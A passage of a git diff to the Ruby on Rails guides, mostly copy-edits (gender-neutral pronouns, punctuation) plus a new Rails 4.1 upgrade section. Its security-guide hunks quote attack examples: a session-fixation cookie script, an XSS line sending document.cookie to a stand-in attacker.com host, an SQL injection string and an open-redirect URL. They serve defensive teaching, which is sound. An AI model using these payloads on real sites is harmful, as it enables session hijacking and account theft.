5 tests, 5 assertions, 0 failures, 0 errors, 0 skips
@@ -390,7 +389,11 @@ Run `rake` one final time and you should see:
7 tests, 7 assertions, 0 failures, 0 errors, 0 skips
```
-NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use `send("#{self.class.yaffle_text_field}=", string.to_squawk)`.
+NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use:
+
+```ruby
+send("#{self.class.yaffle_text_field}=", string.to_squawk)
+```
Generators
----------
@@ -398,7 +401,7 @@ Generators
Generators can be included in your gem simply by creating them in a lib/generators directory of your plugin. More information about
the creation of generators can be found in the [Generators Guide](generators.html)
-Publishing your Gem
+Publishing Your Gem
-------------------
Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply
@@ -411,12 +414,12 @@ gem 'yaffle', git: 'git://github.com/yaffle_watcher/yaffle.git'
After running `bundle install`, your gem functionality will be available to the application.
When the gem is ready to be shared as a formal release, it can be published to [RubyGems](http://www.rubygems.org).
-For more information about publishing gems to RubyGems, see: [Creating and Publishing Your First Ruby Gem](http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html)
+For more information about publishing gems to RubyGems, see: [Creating and Publishing Your First Ruby Gem](http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html).
RDoc Documentation
------------------
-Once your plugin is stable and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.
+Once your plugin is stable and you are ready to deploy, do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.
The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are:
diff --git a/guides/source/rails_application_templates.md b/guides/source/rails_application_templates.md
index 711d910184..e4222e1283 100644
--- a/guides/source/rails_application_templates.md
+++ b/guides/source/rails_application_templates.md
@@ -78,7 +78,7 @@ end
Adds the given source to the generated application's `Gemfile`.
-For example, if you need to source a gem from "http://code.whytheluckystiff.net":
+For example, if you need to source a gem from `"http://code.whytheluckystiff.net"`:
```ruby
add_source "http://code.whytheluckystiff.net"
diff --git a/guides/source/rails_on_rack.md b/guides/source/rails_on_rack.md
index b42c8fb81b..9c92cf3aea 100644
--- a/guides/source/rails_on_rack.md
+++ b/guides/source/rails_on_rack.md
@@ -144,7 +144,7 @@ use Rack::ETag
run MyApp::Application.routes
```
-Purpose of each of this middlewares is explained in the [Internal Middlewares](#internal-middleware-stack) section.
+The default middlewares shown here (and some others) are each summarized in the [Internal Middlewares](#internal-middleware-stack) section, below.
### Configuring Middleware Stack
diff --git a/guides/source/routing.md b/guides/source/routing.md
index 019861c3d6..70d4722068 100644
--- a/guides/source/routing.md
+++ b/guides/source/routing.md
@@ -138,7 +138,7 @@ Sometimes, you have a resource that clients always look up without referencing a
get 'profile', to: 'users#show'
```
-Passing a `String` to `match` will expect a `controller#action` format, while passing a `Symbol` will map directly to an action:
+Passing a `String` to `get` will expect a `controller#action` format, while passing a `Symbol` will map directly to an action:
```ruby
get 'profile', to: :show
@@ -239,6 +239,8 @@ In each of these cases, the named routes remain the same as if you did not use `
| PATCH/PUT | /admin/posts/:id | posts#update | post_path(:id) |
| DELETE | /admin/posts/:id | posts#destroy | post_path(:id) |
+TIP: _If you need to use a different controller namespace inside a `namespace` block you can specify an absolute controller path, e.g: `get '/foo' => '/foo#index'`._
+
### Nested Resources
It's common to have resources that are logically children of other resources. For example, suppose your application includes these models:
diff --git a/guides/source/security.md b/guides/source/security.md
index 595cf7c62c..21cc3deb8a 100644
--- a/guides/source/security.md
+++ b/guides/source/security.md
@@ -70,7 +70,7 @@ Hence, the cookie serves as temporary authentication for the web application. An
* Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read <a href="#cross-site-scripting-xss">more about XSS</a> later.
-* Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
+* Instead of stealing a cookie unknown to the attacker, they fix a user's session identifier (in the cookie) known to them. Read more about this so-called session fixation later.
The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the [Symantec Global Internet Security Threat Report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf).
@@ -111,9 +111,9 @@ It works like this:
* A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes).
* The user buys something.
-* His new, lower credit will be stored in the session.
-* The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser.
-* The user has his credit back.
+* Their new, lower credit will be stored in the session.
+* The dark side of the user forces them to take the cookie from the first step (which they copied) and replace the current cookie in the browser.
+* The user has their credit back.
Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).
@@ -121,14 +121,14 @@ The best _solution against it is not to store this kind of data in a session, bu
### Session Fixation
-NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation._
+NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to them. This is called session fixation._
![Session fixation](images/session_fixation.png)
This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:
-* The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
-* He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
+* The attacker creates a valid session id: They load the login page of the web application where they want to fix the session, and take the session id in the cookie from the response (see number 1 and 2 in the image).
+* They possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore they access the web application from time to time in order to keep the session alive.
* Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injection later on.
* The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
* As the new trap session is unused, the web application will require the user to authenticate.
@@ -230,13 +230,15 @@ Or the attacker places the code into the onmouseover event handler of an image:
<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
```
-There are many other possibilities, including Ajax to attack the victim in the background.
The _solution to this is including a security token in non-GET requests_ which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:
+There are many other possibilities, like using a `<script>` tag to make a cross-site request to a URL with a JSONP or JavaScript response. The response is executable code that the attacker can find a way to run, possibly extracting sensitive data. To protect against this data leakage, we disallow cross-site `<script>` tags. Only Ajax requests may have JavaScript responses since XmlHttpRequest is subject to the browser Same-Origin policy - meaning only your site can initiate the request.
+
+To protect against all other forged requests, we introduce a _required security token_ that our site knows but other sites don't know. We include the security token in requests and verify it on the server. This is a one-liner in your application controller:
```ruby
-protect_from_forgery secret: "123456789012345678901234567890..."
+protect_from_forgery
```
-This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. If the security token doesn't match what was expected, the session will be reset. **Note:** In Rails versions prior to 3.0.4, this raised an `ActionController::InvalidAuthenticityToken` error.
+This will automatically include a security token in all forms and Ajax requests generated by Rails. If the security token doesn't match what was expected, the session will be reset.
It is common to use persistent cookies to store user information, with `cookies.permanent` for example. In this case, the cookies will not be cleared and the out of the box CSRF protection will not be effective. If you are using a different cookie store than the session for this information, you must handle what to do with it yourself:
@@ -249,7 +251,7 @@ end
The above method can be placed in the `ApplicationController` and will be called when a CSRF token is not present on a non-GET request.
-Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later.
+Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so they can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later.
Redirection and Files
---------------------
@@ -258,7 +260,7 @@ Another class of security vulnerabilities surrounds the use of redirection and f
### Redirection
-WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._
+WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, they may also create a self-contained attack._
Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action:
@@ -268,7 +270,7 @@ def legacy
end
```
-This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by an attacker if he includes a host key in the URL:
+This will redirect the user to the main action if they tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by attacker if they included a host key in the URL:
```
http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
@@ -354,9 +356,9 @@ Refer to the Injection section for countermeasures against XSS. It is _recommend
**CSRF** Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
-A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.
+A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had their credentials stolen.
-Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.

+Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change their credentials.

Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.
@@ -379,7 +381,7 @@ NOTE: _Almost every web application has to deal with authorization and authentic
There are a number of authentication plug-ins for Rails available. Good ones, such as the popular [devise](https://github.com/plataformatec/devise) and [authlogic](https://github.com/binarylogic/authlogic), store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in `has_secure_password` method which has similar features.
-Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):
+Every new user gets an activation code to activate their account when they get an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, they would be logged in as the first activated user found in the database (and chances are that this is the administrator):
```
http://localhost:3006/user/activate
@@ -398,7 +400,7 @@ If the parameter was nil, the resulting SQL query will be
SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
```
-And thus it found the first user in the database, returned it and logged him in. You can find out more about it in [my blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
+And thus it found the first user in the database, returned it and logged them in. You can find out more about it in [my blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
### Brute-Forcing Accounts
@@ -418,24 +420,24 @@ Many web applications make it easy to hijack user accounts. Why not be different
#### Passwords
-Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require the user to enter the old password when changing it_.
+Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring them to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require the user to enter the old password when changing it_.
#### E-Mail
-However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_.
+However, the attacker may also take over the account by changing the e-mail address. After they change it, they will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_.
#### Other
-Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_.
+Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to their e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_.
### CAPTCHAs
-INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that he is human, but reveal that a robot is a robot._
+INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that they are human, but reveal that a robot is a robot._
But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is [reCAPTCHA](http://recaptcha.net/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. [ReCAPTCHA](https://github.com/ambethia/recaptcha/) is also a Rails plug-in with the same name as the API.
You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
-The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.
+The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that they are human, but reveal that a spam robot is a bot.
Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.
@@ -528,7 +530,7 @@ The most common parameter that a user might tamper with, is the id parameter, as
@project = Project.find(params[:id])
```
-This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _query the user's access rights, too_:
+This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and they are not allowed to see that information, they will have access to it anyway. Instead, _query the user's access rights, too_:
```ruby
@project = @current_user.projects.find(params[:id])
@@ -571,7 +573,7 @@ SQL injection attacks aim at influencing database queries by manipulating web ap
Project.where("name = '#{params[:name]}'")
```
-This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:
+This could be in a search action and the user may enter a project's name that they want to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:
```sql
SELECT * FROM projects WHERE name = '' OR 1 --'
@@ -581,7 +583,7 @@ The two dashes start a comment ignoring everything after it. So the query return
#### Bypassing Authorization
-Usually a web application includes access control. The user enters his login credentials, the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
+Usually a web application includes access control. The user enters their login credentials and the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
```ruby
User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")
@@ -679,7 +681,7 @@ These examples don't do any harm so far, so let's see how an attacker can steal
<script>document.write(document.cookie);</script>
```
-For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie.
+For an attacker, of course, this is not useful, as the victim will see their own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review their web server's access log files to see the victim's cookie.
```html
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
@@ -888,7 +890,7 @@ HTTP/1.1 302 Moved Temporarily
Location: http://www.malicious.tld
```
-So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._
+So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? They could redirect to a phishing site that looks the same as yours, but ask to login again (and sends the login credentials to the attacker). Or they could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._
#### Response Splitting
diff --git a/guides/source/testing.md b/guides/source/testing.md
index 2fd0ed209d..33cd3e868b 100644
--- a/guides/source/testing.md
+++ b/guides/source/testing.md
@@ -211,31 +211,9 @@ This line of code is called an _assertion_. An assertion is a line of code that
Every test contains one or more assertions. Only when all the assertions are successful will the test pass.
-### Preparing your Application for Testing
+### Maintaining the test database schema
-Before you can run your tests, you need to ensure that the test database structure is current. For this you can use the following rake commands:
-
-```bash
-$ rake db:migrate
-...
-$ rake db:test:load
-```
-
-The `rake db:migrate` above runs any pending migrations on the _development_ environment and updates `db/schema.rb`. The `rake db:test:load` recreates the test database from the current `db/schema.rb`. On subsequent attempts, it is a good idea to first run `db:test:prepare`, as it first checks for pending migrations and warns you appropriately.
-
-NOTE: `db:test:prepare` will fail with an error if `db/schema.rb` doesn't exist.
-
-#### Rake Tasks for Preparing your Application for Testing
-
-| Tasks | Description |
-| ------------------------------ | ------------------------------------------------------------------------- |
-| `rake db:test:clone` | Recreate the test database from the current environment's database schema |
-| `rake db:test:clone_structure` | Recreate the test database from the development structure |
-| `rake db:test:load` | Recreate the test database from the current `schema.rb` |
-| `rake db:test:prepare` | Check for pending migrations and load the test schema |
-| `rake db:test:purge` | Empty the test database. |
-
-TIP: You can see all these rake tasks and their descriptions by running `rake --tasks --describe`
+In order to run your tests, your test database will need to have the current structure. The test helper checks whether your test database has any pending migrations. If so, it will try to load your `db/schema.rb` or `db/structure.sql` into the test database. If migrations are still pending, an error will be raised.
### Running Tests
@@ -784,7 +762,7 @@ class UserFlowsTest < ActionDispatch::IntegrationTest
u = users(user)
sess.https!
sess.post "/login", username: u.username, password: u.password
- assert_equal '/welcome', path
+ assert_equal '/welcome', sess.path
sess.https!(false)
end
end
@@ -794,18 +772,23 @@ end
Rake Tasks for Running your Tests
---------------------------------
-You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of commands to help in testing. The table below lists all commands that come along in the default Rakefile when you initiate a Rails project.
+You don't need to set up and run your tests by hand on a test-by-test basis.
+Rails comes with a number of commands to help in testing.
+The table below lists all commands that come along in the default Rakefile
+when you initiate a Rails project.
| Tasks | Description |
| ----------------------- | ----------- |
-| `rake test` | Runs all unit, functional and integration tests. You can also simply run `rake` as Rails will run all the tests by default|
-| `rake test:controllers` | Runs all the controller tests from `test/controllers`|
-| `rake test:functionals` | Runs all the functional tests from `test/controllers`, `test/mailers`, and `test/functional`|
-| `rake test:helpers` | Runs all the helper tests from `test/helpers`|
-| `rake test:integration` | Runs all the integration tests from `test/integration`|
-| `rake test:mailers` | Runs all the mailer tests from `test/mailers`|
-| `rake test:models` | Runs all the model tests from `test/models`|
-| `rake test:units` | Runs all the unit tests from `test/models`, `test/helpers`, and `test/unit`|
+| `rake test` | Runs all unit, functional and integration tests. You can also simply run `rake` as Rails will run all the tests by default |
+| `rake test:controllers` | Runs all the controller tests from `test/controllers` |
+| `rake test:functionals` | Runs all the functional tests from `test/controllers`, `test/mailers`, and `test/functional` |
+| `rake test:helpers` | Runs all the helper tests from `test/helpers` |
+| `rake test:integration` | Runs all the integration tests from `test/integration` |
+| `rake test:mailers` | Runs all the mailer tests from `test/mailers` |
+| `rake test:models` | Runs all the model tests from `test/models` |
+| `rake test:units` | Runs all the unit tests from `test/models`, `test/helpers`, and `test/unit` |
+| `rake test:all` | Runs all tests quickly by merging all types and not resetting db |
+| `rake test:all:db` | Runs all tests quickly by merging all types and resetting db |
Brief Note About `MiniTest`
diff --git a/guides/source/upgrading_ruby_on_rails.md b/guides/source/upgrading_ruby_on_rails.md
index ef5f6ac024..bca1d36ab7 100644
--- a/guides/source/upgrading_ruby_on_rails.md
+++ b/guides/source/upgrading_ruby_on_rails.md
@@ -27,6 +27,227 @@ Upgrading from Rails 4.0 to Rails 4.1
NOTE: This section is a work in progress.
+### CSRF protection from remote `<script>` tags
+
+Or, "whaaat my tests are failing!!!?"
+
+Cross-site request forgery (CSRF) protection now covers GET requests with
+JavaScript responses, too. That prevents a third-party site from referencing
+your JavaScript URL and attempting to run it to extract sensitive data.
+
+This means that your functional and integration tests that use
+
+```ruby
+get :index, format: :js
+```
+
+will now trigger CSRF protection. Switch to
+
+```ruby
+xhr :get, :index, format: :js
+```
+
+to explicitly test an XmlHttpRequest.
+
+If you really mean to load JavaScript from remote `<script>` tags, skip CSRF
+protection on that action.
+
+### Spring
+
+If you want to use Spring as your application preloader you need to:
+
+1. Add `gem 'spring', group: :development` to your `Gemfile`.
+2. Install spring using `bundle install`.
+3. Springify your binstubs with `bundle exec spring binstub --all`.
+
+NOTE: User defined rake tasks will run in the `development` environment by
+default. If you want them to run in other environments consult the
+[Spring README](https://github.com/jonleighton/spring#rake).
+
+### `config/secrets.yml`
+
+If you want to use the new `secrets.yml` convention to store your application's
+secrets, you need to:
+
+1. Create a `secrets.yml` file in your `config` folder with the following content:
+
+ ```yaml
+ development:
+ secret_key_base:
+
+ test:
+ secret_key_base:
+
+ production:
+ secret_key_base:
+ ```
+
+2. Copy the existing `secret_key_base` from the `secret_token.rb` initializer to
+ `secrets.yml` under the `production` section.
+
+3. Remove the `secret_token.rb` initializer.
+
+4. Use `rake secret` to generate new keys for the `development` and `test` sections.
+
+5. Restart your server.
+
+### Changes to test helper
+
+If your test helper contains a call to
+`ActiveRecord::Migration.check_pending!` this can be removed. The check
+is now done automatically when you `require 'test_help'`, although
+leaving this line in your helper is not harmful in any way.
+
+### Changes in JSON handling
+
+There are a few major changes related to JSON handling in Rails 4.1.
+
+#### MultiJSON removal
+
+MultiJSON has reached its [end-of-life](https://github.com/rails/rails/pull/10576)
+and has been removed from Rails.
+
+If your application currently depend on MultiJSON directly, you have a few options:
+
+1. Add 'multi_json' to your Gemfile. Note that this might cease to work in the future
+
+2. Migrate away from MultiJSON by using `obj.to_json`, and `JSON.parse(str)` instead.
+
+WARNING: Do not simply replace `MultiJson.dump` and `MultiJson.load` with
+`JSON.dump` and `JSON.load`. These JSON gem APIs are meant for serializing and
+deserializing arbitrary Ruby objects and are generally [unsafe](http://www.ruby-doc.org/stdlib-2.0.0/libdoc/json/rdoc/JSON.html#method-i-load).
+
+#### JSON gem compatibility
+
+Historically, Rails had some compatibility issues with the JSON gem. Using
+`JSON.generate` and `JSON.dump` inside a Rails application could produce
+unexpected errors.
+
+Rails 4.1 fixed these issues by isolating its own encoder from the JSON gem. The
+JSON gem APIs will function as normal, but they will not have access to any
+Rails-specific features. For example:
+
+```ruby
+class FooBar
+ def as_json(options = nil)
+ { foo: "bar" }
+ end
+end
+
+>> FooBar.new.to_json # => "{\"foo\":\"bar\"}"
+>> JSON.generate(FooBar.new, quirks_mode: true) # => "\"#<FooBar:0x007fa80a481610>\""
+```
+
+#### New JSON encoder
+
+The JSON encoder in Rails 4.1 has been rewritten to take advantage of the JSON
+gem. For most applications, this should be a transparent change. However, as
+part of the rewrite, the following features have been removed from the encoder:
+
+1. Circular data structure detection
+2. Support for the `encode_json` hook
+3. Option to encode `BigDecimal` objects as numbers instead of strings
+
+If you application depends on one of these features, you can get them back by
+adding the [`activesupport-json_encoder`](https://github.com/rails/activesupport-json_encoder)
+gem to your Gemfile.
+
+### Usage of `return` within inline callback blocks
+
+Previously, Rails allowed inline callback blocks to use `return` this way:
+
+```ruby
+class ReadOnlyModel < ActiveRecord::Base
+ before_save { return false } # BAD
+end
+```
+
+This behaviour was never intentionally supported. Due to a change in the internals
+of `ActiveSupport::Callbacks`, this is no longer allowed in Rails 4.1. Using a
+`return` statement in an inline callback block causes a `LocalJumpError` to
+be raised when the callback is executed.
+
+Inline callback blocks using `return` can be refactored to evaluate to the
+returned value:
+
+```ruby
+class ReadOnlyModel < ActiveRecord::Base
+ before_save { false } # GOOD
+end
+```
+
+Alternatively, if `return` is preferred it is recommended to explicitly define
+a method:
+
+```ruby
+class ReadOnlyModel < ActiveRecord::Base
+ before_save :before_save_callback # GOOD
+
+ private
+ def before_save_callback
+ return false
+ end
+end
+```
+
+This change applies to most places in Rails where callbacks are used, including
+Active Record and Active Model callbacks, as well as filters in Action
+Controller (e.g. `before_action`).
+
+See [this pull request](https://github.com/rails/rails/pull/13271) for more
+details.
+
+### Methods defined in Active Record fixtures
+
+Rails 4.1 evaluates each fixture's ERB in a separate context, so helper methods
+defined in a fixture will not be available in other fixtures.
+
+Helper methods that are used in multiple fixtures should be defined on modules
+included in the newly introduced `ActiveRecord::FixtureSet.context_class`, in
+`test_helper.rb`.
+
+```ruby
+class FixtureFileHelpers
+ def file_sha(path)
+ Digest::SHA2.hexdigest(File.read(Rails.root.join('test/fixtures', path)))
+ end
+end
+ActiveRecord::FixtureSet.context_class.send :include, FixtureFileHelpers
+```
+
+### I18n enforcing available locales
+
+Rails 4.1 now defaults the I18n option `enforce_available_locales` to `true`,
+meaning that it will make sure that all locales passed to it must be declared in
+the `available_locales` list.
+
+To disable it (and allow I18n to accept *any* locale option) add the following
+configuration to your application:
+
+```ruby
+config.i18n.enforce_available_locales = false
+```
+
+Note that this option was added as a security measure, to ensure user input could
+not be used as locale information unless previously known, so it's recommended not
+to disable this option unless you have a strong reason for doing so.
+
+### Mutator methods called on Relation
+
+`Relation` no longer has mutator methods like `#map!` and `#delete_if`. Convert
+to an `Array` by calling `#to_a` before using these methods.
+
+It intends to prevent odd bugs and confusion in code that call mutator
+methods directly on the `Relation`.
+
+```ruby
+# Instead of this
+Author.where(name: 'Hank Moody').compact!
+
+# Now you have to do this
+authors = Author.where(name: 'Hank Moody').to_a
+authors.compact!
+```
Upgrading from Rails 3.2 to Rails 4.0
-------------------------------------
@@ -350,7 +571,7 @@ Upgrading from Rails 3.1 to Rails 3.2
If your application is currently on any version of Rails older than 3.1.x, you should upgrade to Rails 3.1 before attempting an update to Rails 3.2.
-The following changes are meant for upgrading your application to Rails 3.2.15,
+The following changes are meant for upgrading your application to Rails 3.2.16,
the last 3.2.x version of Rails.
### Gemfile
@@ -358,7 +579,7 @@ the last 3.2.x version of Rails.
Make the following changes to your `Gemfile`.
```ruby
-gem 'rails', '3.2.15'
+gem 'rails', '3.2.16'
group :assets do
gem 'sass-rails', '~> 3.2.6'
diff --git a/guides/source/working_with_javascript_in_rails.md b/guides/source/working_with_javascript_in_rails.md
index 301e0e7e6c..3c04204c29 100644
--- a/guides/source/working_with_javascript_in_rails.md
+++ b/guides/source/working_with_javascript_in_rails.md
